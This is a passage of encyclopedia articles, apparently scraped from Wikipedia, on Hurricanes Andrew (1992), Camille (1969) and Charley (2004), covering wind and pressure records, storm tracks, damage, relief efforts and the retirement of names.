          Another important wind speed report came from the Kendall-Tamiami Executive Airport, located nine miles (14 km) west of the shoreline. While weather observations had been suspended at the station, the official weather observer there stayed on duty and continued to make wind speed readings. At 4:45 a.m. EDT, August 24, he noted that the wind speed indicator was "pegged" at a position a little beyond the instrument's highest value of 100 knots (115 mph, 185 km/h), at a point he estimated to be around 110 knots (125 mph, 205 km/h). The needle reportedly remained "fixed" at this location for 3-5 minutes before dropping to "0" when the anemometer failed. These observations were closely corroborated by two other observers. He also indicated that the weather conditions continued to worsen for an additional 30 minutes after the anemometer failed. It is probable that much stronger winds occurred at this location.


          The highest recorded surface gust, within Andrew's northern eyewall, occurred at the home of a resident about a mile from the shoreline in Perrine, Florida. During the peak of the storm, a gust of 212 mph (341 km/h) was observed before both the home and anemometer were destroyed. Subsequent wind-tunnel testing at Clemson University of the same type of anemometer revealed a 16.5% error. The observed value was officially corrected to be 177 mph (285 km/h).


          Data collected at the Turkey Point Nuclear Generating Station terminated at 5:05 EDT before winds reached maximum strength. The anemometer recorded sustained winds of 145 mph before it failed, and a barometric pressure of 922 mb was recorded (equal to the lowest observed surface pressure of 922 mb recorded in Perrine at a private home). Gusts exceeding 175 mph were also observed. The data from Turkey Point reflects shoreline measurements (not inland), as it is situated directly on the coastline.


          A National Weather Service-Miami Radar image recorded on 24 August 1992 at 4:35 EDT [08:35 UTC] superimposed on a street map by the Hurricane Research Division of NOAA cleary indicates the most powerful winds within the northern eyewall (conditions greater than 48 dBZ) made landfall between SW 152 St. (Coral Reef Drive) and SW 184 St. (Eureka Drive) in the Perrine/Cutler Ridge area. dBZ readings indicate Decibels of Z (radar echo intensity/reflectivity) and help map the relative strength of storm activity within a weather system. This extremely powerful band within the northern eyewall corresponds with the exact latitude range where the hightest surface wind gusts of 177 mph and lowest barometric pressure (922 mb) were recorded at a private home in Perrine and evaluated by Clemson University. This corridor is also in line with the former Burger King corporate headquarters, located on the shoreline at the terminus of 184th St. (Eureka Drive), where one of the highest storm surge levels was recorded (16.9 ft).


          

          In 2002, The Atlantic Basin Hurricane Database Reanalysis Project examined Hurricane Andrew and this corridor of extreme winds embedded within Andrew's northern eyewall. The project concluded that Category 5 conditions on land occurred only in a small region of southern Dade (now Miami-Dade) County, specifically close to the coast in Cutler Ridge. The remaining areas affected by Andrew's initial landfall in Florida likely experienced sustained Category 4 and 3 conditions. Andrew was officially re-classified as a Category 5 storm in 2004, and the reanalysis provides a more comprehensive and detailed examination of Andrew's wind field structure upon landfall than originally assessed in 1992.


          The National Hurricane Centre, then located along U.S. 1 in Coral Gables, recorded a peak gust of 164 mph (272 km/h) measured 130 ft (39.6 m) above the ground, just before 5 a.m. EDT, August 24. At 5:17 a.m. EDT, the anemometer was severely damaged and by 5:45 a.m. had been completely destroyed.


          High winds occurred in other locations across Southern Florida, including peak gusts of 115 mph (185 km/h) estimated at Miami International Airport and 132 mph (212 km/h) recorded at Haulover Beach, Florida.


          In 2002, as part of an ongoing review of historical hurricane records, National Hurricane Centre experts concluded that Andrew had sustained winds of 165 mph (265 km/h) briefly before and during landfall, making it a Category 5


          Berwick, Louisiana reported sustained winds of 96 mph (154 km/h) with gusts to 120 mph (193 km/h). The highest gust of 173 mph (278 km/h) was reported from a drilling barge on Bayou Teche in coastal St. Mary Parish, Louisiana.


          


          Preparations


          Before impact in the Bahamas predictions were for a 10 to 14ft (4.3m) storm surge, rising locally to 18ft (5.5m), and for 5 to 8inches (200mm) of rain. Evacuations were ordered by emergency management officials, and at 5 PM local time residents throughout the region of Bahamas and Florida were warned to take precautions to protect life and property. By 11 PM local time, residents were warned that precautions to protect life and property should have been completed. A 7 to 10-foot (3.0m) storm surge was predicted for Eastern Florida, and the Florida Keys and 7 to 11-foot (3.4m) storm surge was predicted for Western Florida was predicted before the storm exited Florida. Some isolated tornadoes were also predicted for South and Central Florida for August 23 and August 24. At least 1,500 National Guard troops were deployed to Florida to prevent looting.


          Sandbag walls were created in the South Bell Telephone Building in New Orleans. Sandbag walls were also created in the French Quarter section of New Orleans. Floodgates were also closed throughout New Orleans Levees. Sandbags for the public ran out because of the protection of major areas. Planes headed to and from New Orleans were canceled.


          


          Impact


          


          Bahamas


          Damage in the Bahamas was estimated at $250 million.


          


          Florida
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              The aftermath of Hurricane Andrew in Homestead, Florida.
            

          


          As with most high-intensity storms (Categories 4 and 5), the worst damage from Andrew is thought to have occurred not from straight-line winds but from vortices, or "miniwhirls" (something like embedded tornadoes). This was the conclusion of Tetsuya Theodore Fujita, a University of Chicago meteorologist who devised the Fujita scale for measuring the strength of tornadoes, after he surveyed Andrew's destruction in the Homestead area.


          Looting also occurred in Florida after the storm, with at least 100 people attempted to ransack the Cutler Ridge shopping mall south of Miami. However, the deployment of 600 National Guard troops in the region restored order.


          Andrew produced a 17 ft (5.2 m) storm surge near the landfall point in Florida. A tidal surge of 16.9feet (5.2m) was recorded at the shoreline of SW 184th Street (Eureka Drive), the former location of the Burger King world corporate headquarters on the coast of the Perrine/Cutler Ridge area (directly within the path of the northern eyewall).


          
            
              Costliest U.S. Atlantic hurricanes

              Cost refers to total estimated property damage.
            

            
              	Rank

              	Hurricane

              	Season

              	Cost (2005 USD)
            


            
              	1

              	Katrina

              	2005

              	$81.2 billion
            


            
              	2

              	Andrew

              	1992

              	$44.9 billion
            


            
              	3

              	Wilma

              	2005

              	$20.6 billion
            


            
              	4

              	Charley

              	2004

              	$15.4 billion
            


            
              	5

              	Ivan

              	2004

              	$14.6 billion
            


            
              	Main article: List of Atlantic hurricanes
            

          


          Unlike most hurricanes, the vast majority of the damage in Florida was due to the winds. The agricultural loss in Florida was $1.04 billion alone.


          In Dade County 90% of homes had major roof damage. 117,000 were destroyed or had major damage.


          The Turkey Point Nuclear Generating Station was hit directly by Andrew. Over $90 million of damage was done, largely to a water tank and to a smokestack of one of the fossil-fueled units on-site, but the containment buildings were undamaged. The nuclear plant was built to withstand winds of up to 235 mph.
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              Rainfall totals caused by Andrew
            

          


          Massive damage caused by Andrew at Homestead Air Force Base, very near the point of landfall on the South Florida coast, led to the closing of the base as a full active-duty base. It was later partly rebuilt and operates today as a U.S. Air Reserve base. The aircraft and squadron were relocated to Aviano Air Base in Italy.


          Power lines bringing electric power to the Florida Keys were destroyed, leaving residents without power. However water was maintained, although it had to be boiled.


          There was also moderate damage to the coral reef areas offshore of Florida down to depths of 75feet (23m).


          


          Louisiana


          After hitting Florida, Andrew moved across the Gulf of Mexico and once again made landfall in south-central Louisiana. About 152,000 electricity customers lost their power because of the impact of Andrew. Four people were also killed, as a result of Andrew.


          Storm tides of at least eight ft (2.4 m) inundated portions of the Louisiana coast. Andrew also produced a killer tornado in southeastern Louisiana. The F3 tornado hit Laplace and stayed on ground until Reserve, St. John the Baptist Parish. The tornado caused two deaths.


          Damage was done to soy bean, corn, and sugar cane crops. The damage estimated done to the sugar cane was $200 million.


          A Coast Guard helicopter had to rescue 4 people and 2 dogs from a disabled 65-foot (20m) fishing boat, 50miles (80km) south of Houma.


          


          Aftermath


          


          Florida
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              An entire Miami neighbourhood is leveled.
            

          


          Andrew's catastrophic damage spawned many rumors, including claims that hundreds or even thousands of migrant farm workers in south Dade County (now Miami-Dade County) were killed and their deaths were not reported in official accounts. An investigation by the Miami Herald found no basis for such rumors. These rumors were probably based on the 1928 Okeechobee Hurricane, when the deaths of migrant workers initially went uncounted, and were still debated at the time of Andrew.


          The slow response of federal aid to storm victims in southern Florida led Dade County emergency management director Kate Hale to famously exclaim at a nationally televised news conference, "Where in the hell is the cavalry on this one? They keep saying we're going to get supplies. For God's sake, where are they?" Almost immediately, President George H. W. Bush promised, "Help is on the way," and mobile kitchens and tents began pouring in.


          Insurance claims in the wake of the extreme damage caused by Andrew led to the bankruptcy and closure of 11 insurance agencies and drained an excessive amount of equity from 30 more. Nearly one million residences were no longer eligible for coverage by any insurance agency. This led the Florida Legislature to create new agencies (the Joint Underwriting Association, the Florida Windstorm Underwriting Association and the Florida Hurricane Catastrophe Fund) to restore adequate insurance coverage.


          Homeowners and officials criticized developers and contractors for inadequate building practices and poor building codes. An inquiry after the storm concluded that there were probably construction flaws in some buildings, and that the state of Florida did enforce some strict building codes since 1986, but they were either overlooked or ignored. However, the evidence was not sufficient enough to issue criminal charges for neglect.


          The effects of Hurricane Andrew on Florida wetlands were considerable. In the Florida Everglades, 25%, 70,000 acres (280 km) of trees were knocked down by the storm. It took 20 days for new trees and vegetation to grow following the storms passing. Damage to marine life was moderate as the storm increased the turbidity and lowered the oxygen level in the water, threatening many fish and other marine wildlife. In addition, the storm killed 182 million fish in the basin, causing $160 million (1992 USD) in lost value. In the decade after the storm, Hurricane Andrew may have contributed to the massive and sudden housing boom in Broward County, Florida. Located just north of Miami-Dade County, residents who had lost their homes migrated to western sections of the county that were just starting to be developed. The result was record growth in places like Miramar, Pembroke Pines and Weston.


          


          Louisiana


          In Louisiana, the hurricane knocked down 80% of the trees in part of the Atchafalaya River Basin near the coast. Offshore, the storm killed 9.4 million fish, causing $7.8 million (1992 USD) in lost value, and damaged large areas of marshland along the Louisiana coast.


          About 6,200 people had to be housed in 36 separate shelters, according to the American Red Cross. The Salvation Army sent in 37 mobile food storage faculties, that served 40,000 meals, to help those who could get little or no food.


          Federal aid, from the Pentagon, sent in four 750 kilowatt generators, 2,500 cots, and 30,000 MRE's, or prepackaged meals, to Louisiana. About 1,279 National Guard were deployed to Louisiana, to do various duties, from cooking to patrolling.


          Sheriffs along the coast of Louisiana imposed a curfew from 6 p.m. to 6 a.m. local time. Alcohol sales were also banned immediately after the storm.


          


          Retirement


          The name "Andrew" was retired in 1993 and will not be used again for an Atlantic hurricane. The name was replaced by Alex for the 1998 season.


          
            Retrieved from " http://en.wikipedia.org/wiki/Hurricane_Andrew"
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                Hurricane Camille in the Gulf of Mexico
                

              
            


            
              	Formed

              	August 14, 1969
            


            
              	Dissipated

              	August 22, 1969
            


            
              	Highest

              winds

              	
                
                  
                    	190 mph (305 km/h) (1-minutesustained)
                  

                

              
            


            
              	Lowest pressure

              	 905 mbar ( hPa; 26.74 inHg)
            


            
              	Fatalities

              	259 direct
            


            
              	Damage

              	$1.42billion (1969USD)

              $8.3billion (2008USD)
            


            
              	Areas

              affected

              	Cuba, Alabama, Mississippi, Louisiana, Southern United States, East-Central United States
            


            
              	Part of the

              1969 Atlantic hurricane season
            

          


          Hurricane Camille was the strongest tropical cyclone of the 1969 Atlantic hurricane season. The third tropical cyclone and second hurricane of the season, Camille was the second of three Category 5 hurricanes to make landfall in the United States during the 20th century, which it did near the mouth of the Mississippi River on the night of August 17, resulting in catastrophic damage. Camille was the only Atlantic hurricane with official winds reported to reach 190 mph (305 km/h) until Allen equalled that number in 1980.


          The storm formed on August 14 and rapidly deepened. It scraped the western edge of Cuba at Category 3 intensity. Camille strengthened further over the Gulf of Mexico and made landfall with a pressure of 905 mbar ( hPa), estimated sustained winds of 190 mph (305 km/h), and a peak storm surge of 24 feet (7.3 m); by maximum sustained wind speeds, Camille was the strongest landfalling tropical cyclone recorded worldwide, and one of only four tropical cyclones worldwide ever to achieve wind speeds of 190 mph (305 km/h). The hurricane flattened nearly everything along the coast of the U.S. state of Mississippi, and caused additional flooding and deaths inland while crossing the Appalachian Mountains of Virginia. In total, Camille killed 259 people and caused $1.42 billion (1969 USD, $9.14 billion 2005 USD) in damages.


          


          Storm history
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          A tropical wave left the coast of Africa on August 5, becoming a tropical disturbance on August 9, 480miles (770km) east of the Leeward Islands. Aircraft reconnaissance identified a closed circulation in the disturbance on the 14th near Grand Cayman and the system was designated Tropical Storm Camille with 60 mph (95 km/h) winds.


          
            [image: Camille in the Central Gulf of Mexico]

            
              Camille in the Central Gulf of Mexico
            

          


          The storm already had a well organized circulation and rapidly strengthened from August 14 to August 15 to a 115 mph (185 km/h) major hurricane before hitting the western tip of Cuba later that day. Land interaction weakened Camille to a 100 mph (160 km/h) hurricane, but it returned to perfect conditions as it crossed the Gulf of Mexico (possibly while passing over the Loop Current). On August 17, Camille reached an intense minimum central pressure of 905 mbar ( hPa), and it continued to strengthen to a peak of 190 mph (305 km/h) winds (possibly the strongest ever recorded in an Atlantic hurricane). In the hours before landfall, a reconnaissance aircraft was unable to obtain a surface wind report, but it estimated winds of up to 205 mph (335 km/h) and a minimum central pressure of 901 mbar (hPa).
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          Camille crossed the southeastern tip of Louisiana, and then hit near Bay St. Louis, Mississippi, on the night of August 17. Its Category 5 strength winds are only estimated, due to the lack of wind reports near the centre, though the NASA site at Stennis Space Centre near Picayune, Mississippi, recorded an estimated gust of 160mph (260km/h) with a pressure of 950 mbar. It maintained hurricane force winds for 10 hours as it moved 150miles (240km) inland. As Camille turned east, it weakened to a tropical depression over northern Mississippi on the 19th. It picked up additional moisture from the Gulf Stream along the way and produced torrential rains in the remote mountains of Virginia. Camille turned eastward as it moved inland, and emerged into the Atlantic Ocean near Virginia Beach, Virginia, on the 20th. The depression restrengthened over the Gulf Stream, and briefly attained a peak of 70 mph (110 km/h) before becoming extratropical on the 22nd, east of Nova Scotia.


          


          Impact


          


          
            
              Most intense landfalling U.S. hurricanes

              Intensity is measured solely by central pressure
            

            
              	Rank

              	Hurricane

              	Season

              	Landfall pressure
            


            
              	1

              	"Labor Day"

              	1935

              	892 mbar ( hPa)
            


            
              	2

              	Camille

              	1969

              	909 mbar (hPa)
            


            
              	3

              	Katrina

              	2005

              	920 mbar (hPa)
            


            
              	4

              	Andrew

              	1992

              	922 mbar (hPa)
            


            
              	5

              	"Indianola"

              	1886

              	925 mbar (hPa)
            


            
              	6

              	"Florida Keys"

              	1919

              	927 mbar (hPa)
            


            
              	7

              	"Okeechobee"

              	1928

              	929 mbar (hPa)
            


            
              	8

              	Donna

              	1960

              	930 mbar (hPa)
            


            
              	9

              	Carla

              	1961

              	931 mbar (hPa)
            


            
              	10

              	Hugo

              	1989

              	934 mbar (hPa)
            


            
              	Source: National Hurricane Centre
            

          


          Making landfall as a Category 5 hurricane, Camille caused damage and destruction across much of the Gulf Coast of the United States. Because it moved quickly through the region, Hurricane Camille dropped only moderate precipitation in most areas. Areas near its point of landfall reported from 7inches (180mm) to 10inches (250mm). The area of total destruction in Harrison County, Mississippi was 68square miles (176km). The total estimated cost of damage was $1.42billion (1969 USD, $9.14billion 2005 USD). This made Camille the second-most expensive hurricane in the United States, up to that point (behind Hurricane Betsy). The storm directly killed 143 people along Alabama, Mississippi, and Louisiana. An additional 153 people perished as a result of catastrophic flooding in Nelson County, Virginia and other areas nearby. In all, 8,931 people were injured, 5,662 homes were destroyed, and 13,915 homes experienced major damage, with many of the fatalities being coastal residents who had refused to evacuate.


          


          Gulf of Mexico


          Shell Oil Company measured waves 70-75feet (21-23meters) high during this intense cyclone. One of its rigs was lost due to both extreme wave action and a mudslide at the Gulf of Mexico's bottom. The ocean floor in the Gulf of Mexico's South Block 70 lowered during the hurricane's passage. Property damages to the offshore oil industry totaled US$100million (1969 dollars).


          


          Gulf Coast and the Caribbean
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              Ships beached in Gulfport, Mississippi.
            

          


          In Cuba, the only Caribbean island greatly affected by Camille, three deaths were reported. Over 10inches (250mm) of rain were recorded in the western portion of Cuba. But in continental North America, where Camille was stronger, more damage was brought. While moving over southeastern Louisiana, the Weather Bureau Office at Boothville reported wind gusts of 107mph (172km/h). At least $350million (1969 USD, $1.85billion 2005 USD) in damage was reported.


          Alabama also experienced damage along U.S. Highway 90: 26,000 homes and over 1,000 businesses were wiped out completely across the state of Alabama. Camille's large circulation also resulted in a 3-to-5foot (1-1.5m) storm surge in Apalachicola, Florida.


          Mississippi received the worst of the damage. Upon making landfall, Camille produced a 24foot (7.3m) storm surge. Along Mississippi's entire shore and for some three to four blocks inland, the destruction was nearly complete. The worst hit areas were Clermont Harbour, Lakeshore, Waveland, Bay St. Louis, Pass Christian, Long Beach, and the beach front of Gulfport, Mississippi City, and Biloxi.


          More than 11inches (280mm) of rain occurred in Hancock County, and most low-lying areas were flooded with up to 15 feet (4.6 m) of water. U.S. Highway 90, which is close to the shore, was broken up in many areas, and sand and debris blocked much of it. Totals say that 3,800 homes and businesses were completely destroyed. As Camille came ashore, it passed over Ship Island, off the coast of Mississippi; Camille's strong storm surge and torrential rains literally split the island in two: the body of water between West Ship Island and East Ship Island is now called "Camille's Cut".


          In addition, one of Frank Lloyd Wright's waterfront houses for W. L. Fuller, in Pass Christian, was completely destroyed by Hurricane Camille.


          


          The Hurricane Party
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          One persistent account about Camille states that a hurricane party was held on the third floor of the Richelieu Manor Apartments in Pass Christian, Mississippi, in the path of the eyewall as it made landfall. The high storm surge flooded and destroyed the building, and there was only one survivor to tell of the story of the others. Who the survivor is, how many party guests there were, and just how far the sole survivor was swept by the storm varies with the retelling. Survivor Ben Duckworth is quoted in Hurricane Camille: Monster Storm of the Gulf Coast as stating that the Richelieu was a designated civil defense air-raid shelter. However, their faith in the building's sturdiness was unfounded, as it was completely demolished by the storm. Twenty-three people are known to have stayed in the Richelieu Apartments during the hurricane, of whom eight died. The tale of the lone survivor and the party appears to have originated with survivor Mary Ann Gerlach. Other survivors, including Duckworth and Richard Keller have expressed irritation at the story. "The hurricane party never happened, nor were the number of deaths associated with the apartment inhabitants accurate," says Pat Fitzpatrick, Mississippi State University professor and author of Hurricanes: A Reference Handbook.


          


          Ohio Valley and West Virginia
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          Camille caused moderate rainfall in Tennessee and Kentucky of between 3 and 5inches (130mm), helping to relieve a drought in the area.


          Yet in West Virginia, there was flash flooding which destroyed 36 houses and 12 trailers, a total of three quarters of a million dollars in damage. What was about to happen in the foothills of the Blue Ridge Mountains of Virginia would be far worse.


          


          Virginia


          Because the hurricane was expected to quickly dissipate over land, few were prepared for the flash flooding. Arriving in Virginia on the evening of August 19, Camille was no longer a Hurricane, but she carried incredible amounts of moisture and contained sufficient strength and low pressure to pull in additional moisture.


          Many victims went to bed that night thinking that a typical summer thunderstorm was rumbling through. The storm dropped torrential rainfall of 12inches (300mm) to 20inches (510mm), with a maximum of 27inches (690mm). Most of the rainfall occurred in Virginia during a 3-5 hour period on August 19 and 20. The flooding led to overflown rivers across the state, with the highest amounting being the James River in Richmond with a peak crest of 28.6feet (8.7m). Many rivers in Virginia and West Virginia set records for peak flood stages, causing numerous mudslides along mountainsides. In the mountain slopes between Charlottesville and Lynchburg, more than 10inches (250mm) of rain fell in a course of 12 mere hours, but the worst would befall Nelson County.


          A hilly, rural county with a population of around 15,000 Nelson would receive as much as 27inches (690mm) of rain. The rainfall was so heavy there were reports of birds drowning in trees and of survivors who had to cup their hands around mouth and nose in order to breathe through such a deluge.


          The ensuing flash floods and mudslides killed 153 people. In Nelson County alone, 133 bridges were washed out, while some entire communities were under water.


          The major flooding that occurred downstream cut off all communications between Richmond and the Shenandoah Valley. Waynesboro on the South River saw eight feet of water downtown, and Buena Vista had more than five feet.


          Throughout Virginia, Camille destroyed 313 houses, 71 trailers, and 430 farm buildings. 3,765 families were affected by the hurricane in the area, and total damage in the state amounted to $140.8million (1969 USD, $747million 2005 USD).United States Department of Commerce (1969). Hurricane Camille August 14-22, 1969. Environmental Science Services Administration. Retrieved on 2008- 04-13.</ref>


          


          Barometric pressure, winds, and other superlatives


          Camille produced the seventh lowest official barometric pressure ever recorded in the Atlantic basin, at 905 mbar. Minimum pressure at landfall in Mississippi was 909 mbar; the only hurricane to hit the United States with a lower pressure at landfall was the Labor Day Hurricane of 1935. A reconnaissance flight indicated a pressure of 901 mbar, but this pressure was not verified, and remains unofficial pending reanalysis. The wind speed of Camille can only be approximated, as no meteorological equipment survived the extreme conditions at landfall, but Camille is estimated to have had sustained winds of 190 mph (305 km/h) at landfall, with gusts exceeding 200 mph (320 km/h). Before Hurricane Katrina in 2005, Camille likely had the highest storm surge measured in the United States, at over 24 feet (7.3 meters).


          The 24-foot (7.3m) storm surge quoted by the Army Corps of Engineers was based on high water marks inside surviving buildings, of which there were but three. Prior to the collapse of the Richelieu Apartments, Ben Duckworth shined a flashlight down a stairwell and found the water within one step of the third-story floor; this establishes a surge height of 28feet (8.5m) at that spot at that time. About 15 minutes later, the building collapsed and the evidence vanished with it.


          In addition, Camille forced the Mississippi River to flow backwards for a river-distance of 125 miles (from its mouth to a point north of New Orleans). The river further backed up for an additional 120miles (190km), to a point north of Baton Rouge.


          In 1969 the naming conventions for hurricanes were not strictly controlled as they are today. There were only three requirements: the name had to be female (male names were not used at that time), the names had to remain in alphabetical order, and the name could not have been retired. John Hope, a meteorologist at the National Hurricane Centre, had a daughter who had just graduated from high school. He added her name  Camille  to the list of storm names for the year, having no way of knowing that the storm bearing her name would become infamous. Camille Hope is the wife of U.S. Rep. Jim Marshall of Georgia.


          


          Aftermath


          
            
              Costliest U.S. Atlantic hurricanes

              Cost refers to total estimated property damage.
            

            
              	Rank

              	Hurricane

              	Season

              	Cost (2005 USD)
            


            
              	1

              	Katrina

              	2005

              	$81.2 billion
            


            
              	2

              	Andrew

              	1992

              	$44.9 billion
            


            
              	3

              	Wilma

              	2005

              	$20.6 billion
            


            
              	4

              	Charley

              	2004

              	$15.4 billion
            


            
              	5

              	Ivan

              	2004

              	$14.6 billion
            


            
              	Main article: List of Atlantic hurricanes
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          The response after the storm involved many federal state and local agencies and volunteer organizations. The main organization for coordinating the federal response to the disaster was the Office of Emergency Preparedness which provided $76 million (1969 USD, $403 million 2005 USD) to administer and coordinate disaster relief programs. Food and shelter were available the day after the storm. On August 19 portions of Mississippi and Louisiana were declared major disaster areas and became eligible for federal disaster relief funds.


          Major organizations contributing to the relief effort included the Federal Power Commission which helped fully return power to affected areas by November 25, 1969. The Coast Guard (then under the Department of Transportation), Air Force, Army, Army Corps of Engineers, Navy, and Marine Corps all helped with evacuations, search and rescue, clearing debris and distribution of food. The Department of Defense contributed $34 million (1969 USD, $180 million 2005 USD) and 16,500 military troops overall to the recovery. The Department of Health provided 4 million dollars towards medicine, vaccines and other health related needs.
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              A large, antebellum mansion destroyed by the high winds and storm surge.
            

          


          Long term re-development was overseen by the Department of Commerce, which contributed $30 million (1969 USD, $159 million 2005 USD) towards planned and coordinated redevelopment of affected areas.


          The devastation of Camille inspired the implementation of the Saffir-Simpson Hurricane Scale. After the storm, many Gulf Coast residents commented that hurricane warnings were not clear enough in conveying the expected intensity of the coming storm. The Saffir-Simpson scale offered a much more concise statement of storm intensity than barometric pressure and wind speed measurements, and veterans of previous hurricanes could analogize the power of the approaching storm to those they had experienced.


          In a 1999 report on Hurricane Camille sponsored by the NOAA Coastal Services Centre, the authors concluded: "With Camille, the preparations for the event and the response were based on processes put in place long before the storm made landfall. Coordination between government agencies as well as with state and local officials was enhanced because of preexisting plans."


          One small compensation was that recovery from flood damage in Nelson County, Virginia led to the discovery of the Ginger Gold apple in the orchards of Clyde Harvey.


          


          Retirement


          The name Camille was retired after the 1969 season due to the major destruction and death in much of the Southern United States. A replacement name was never chosen, as a new list of names was created.


          


          Comparisons to Hurricane Katrina
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          Comparisons between Hurricane Katrina of the 2005 season and Camille are difficult to avoid because of their similar strengths and similar landfall locations. Before Katrina, Camille was considered to be the "benchmark" against which all Gulf Coast hurricanes were measured. Katrina was weaker than Camille at landfall but substantially larger, which led to both a broader and a larger storm surge. Katrina was described by those that experienced Camille as "much worse" - not only because of the massive storm surge, but from the fact that Katrina pounded the Mississippi coast for a longer period of time. Camille also drew part of its record storm surge from adjacent coastal waters; Lake Borgne and Lake Pontchartrain actually receded, sparing the city of New Orleans from flooding.


          Katrina's death toll was made slightly higher because those who survived Camille with no flooding and little damage believed Katrina to be less of a threat, creating a false sense of security among Camille veterans, which accounted for as many as 7% of those not evacuating. An innkeeper at the Harbour Oaks Inn, Tony Brugger, stayed at the inn and was killed when his inn collapsed. Before 1969, many residents of the Gulf Coast had weathered the effects of Hurricane Betsy the strong Category 3 hurricane that had made landfall in 1965. Betsy up until that point had been the benchmark for Gulf hurricanes and many people ignored the warnings for Camille believing that a hurricane could not get any stronger. Unfortunately when Katrina hit the same mentality persisted and those who survived Camille felt that they could survive Katrina and thus did not evacuate.
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              Hurricane Charley
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                Hurricane Charley at landfall in Florida
                

              
            


            
              	Formed

              	August 9, 2004
            


            
              	Dissipated

              	August 15, 2004
            


            
              	Highest

              winds

              	
                
                  
                    	150 mph (240 km/h) (1-minutesustained)
                  

                

              
            


            
              	Lowest pressure

              	941 mbar ( hPa; 27.8 inHg)
            


            
              	Fatalities

              	15 direct, 20 indirect
            


            
              	Damage

              	$16.3billion (2004USD)

              $18.6billion (2008USD)
            


            
              	Areas

              affected

              	Jamaica, Cayman Islands, Cuba, Florida, South Carolina, North Carolina
            


            
              	Part of the

              2004 Atlantic hurricane season
            

          


          Hurricane Charley was the third named storm, the second hurricane, and the second major hurricane of the 2004 Atlantic hurricane season. Charley lasted from August 9 to August 15, and at its peak intensity it attained 150 mph (240 km/h) winds, making it a strong Category 4 hurricane on the Saffir-Simpson Hurricane Scale. The storm made landfall in southwestern Florida at maximum strength, thus making it the strongest hurricane to hit the United States since Hurricane Andrew struck Florida twelve years before, in 1992.


          After moving briskly through the Caribbean Sea, Charley crossed Cuba on August 13 as a Category 3 hurricane, causing heavy damage and four deaths. That same day, the hurricane crossed over the Dry Tortugas, just 22hours after Tropical Storm Bonnie struck northwestern Florida. This was the first time in history that two tropical cyclones struck the same state in a 24-hour time period. Charley was one of two major hurricanes to hit Florida in 2004, and one of four hurricanes to directly affect the state.


          At its peak intensity of 150mph (240km/h), Hurricane Charley struck the northern tip of Captiva Island and the southern tip of North Captiva Island, causing severe damage in both areas. Charley, the strongest hurricane to hit southwest Florida since Hurricane Donna in 1960, then continued to produce severe damage as it made landfall on the peninsula near Port Charlotte. The hurricane continued to the northeast and passed through East Orlando while still carrying winds gusting up to 106mph (171km/h). Damage in the state totaled to over $13billion (2004 USD). Charley, initially expected to hit further north in Tampa, caught many Floridians off-guard due to a sudden change in the storm's track as it approached the state. Throughout the United States, Charley caused 10deaths and $15.4billion in damage (2004 USD), making Charley the fourth costliest hurricane in United States history at the time.


          


          Storm history
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          Charley began as a tropical wave that moved off the west coast of Africa on August 4. It moved quickly westward and steadily organized over the open Atlantic Ocean, with convection developing in curved bands. The wave continued to develop as it approached the Lesser Antilles, and became Tropical Depression Three on August 9 while 115 mi (185 km) south-southeast of Barbados, near the island of Grenada, however, the threat to Barbados was short-lived. Low upper-level wind shear and well-defined outflow contributed to further intensification, and the depression strengthened into Tropical Storm Charley on August 10, despite being located in the eastern Caribbean Sea, which is an area not particularly suited to tropical cyclogenesis. At this time, the National Hurricane Centre in Miami designated the name "Charley."
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          A strong ridge of high pressure to the system's north forced Charley to change track quickly to the west-northwest. It continued to strengthen steadily, and Charley became a Category 1 hurricane on August 11, while 90mi (150km) south of Kingston, Jamaica. The storm was being steered around the periphery of the high pressure area, and as a result, Charley changed direction towards the northwest. The following day, the core passed 40mi (64km) southwest of the southwest coast of Jamaica, affecting the island on August 11 and 12. The storm then passed 17mi (27km) northeast of Grand Cayman, reaching Category 2 status just after passing the island. The hurricane continued to strengthen as it turned to the northwest due to a tropospheric ridge, and became a major hurricanethat is, a storm classified as a Category 3 hurricane or higherjust before making landfall on southern Cuba. Charley came ashore near Punta Cayamas with maximum sustained winds of 120mph (190km/h) and gusts of up to 133mph (215km/h), at about 12:30 a.m. EDT (0430 UTC) on August 13. Charley weakened while crossing the island, and passed about 13mi (21km) west of downtown Havana before weakening to a 110 mph (180km/h) hurricane.


          After emerging from Cuba near Menelao Mora, Hurricane Charley accelerated to the north-northeast, towards the southwest coast of Florida, in response to the approach of an unseasonal mid-tropospheric trough. This caused the hurricane to pass over the Dry Tortugas at 8:00 a.m. EDT (1200 UTC) on August 13, with maximum winds of about 110mph (177km/h). The strike occurred only 22hours after Tropical Storm Bonnie made landfall on St. Vincent Island; this marks the first time two tropical cyclones hit the same state within a 24-hour period. At this time, Charley rapidly intensified, strengthening from a 110mph (180km/h) hurricane with a minimum central barometric pressure of 965 mbar ( hPa; 28.50 inHg) to a 145mph (230km/h) hurricane with a pressure of 941mbar (hPa; 27.49inHg) in just 6hours. The storm continued to strengthen as it turned more to the northeast, and made landfall near the island of Cayo Costa, Florida as a 150mph (240km/h) Category 4 hurricane at approximately 3:45 p.m. EDT (1945 UTC) on the 13th. An hour later, the hurricane struck Punta Gorda as a 145mph (230km/h) storm. However, the eye had shrunk before landfall, limiting the most powerful winds to an area of 6nautical miles (11km) of the centre.
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          Charley weakened considerably due to its passage over land, but still retained sustained winds of well over 85mph (135km/h) as it passed directly over Orlando between 8:20 and 9:40 p.m. on August 13 (0020-0140 UTC August 14); gusts of up to 106mph (171km/h) were recorded at Orlando International Airport. It cut a swath of destruction across Florida, also passing near Kissimmee. The hurricane reemerged into the Atlantic Ocean near Daytona Beach, Florida as a Category 1 hurricane, but restrengthened slightly over open waters. Continuing to move rapidly to the north-northeast, Charley struck near Cape Romain, South Carolina as an 80mph (130km/h) hurricane, moved offshore briefly, and made its final landfall near North Myrtle Beach as a minimal hurricane, with winds of 75mph (120km/h). Charley then began interacting with an approaching frontal boundary, becoming a tropical storm over southeastern South Carolina. After moving back into the Atlantic Ocean near Virginia Beach on August 15, the storm became extratropical and became embedded in the frontal zone. The extratropical storm continued to move rapidly to the northeast, and was completely absorbed by the front shortly after sunrise on August 15, near southeastern Massachusetts.


          


          Preparations


          On August 10, two days before the hurricane passed near the island, Jamaican officials issued a tropical storm warning, which was upgraded to a hurricane warning a day later. In Jamaica, the threat of the storm forced the country's two airports to close, and also forced two cruise ships to reroute. The Cayman Islands issued a hurricane warning on the 11th, a day before the hurricane passed near by the archipelago.


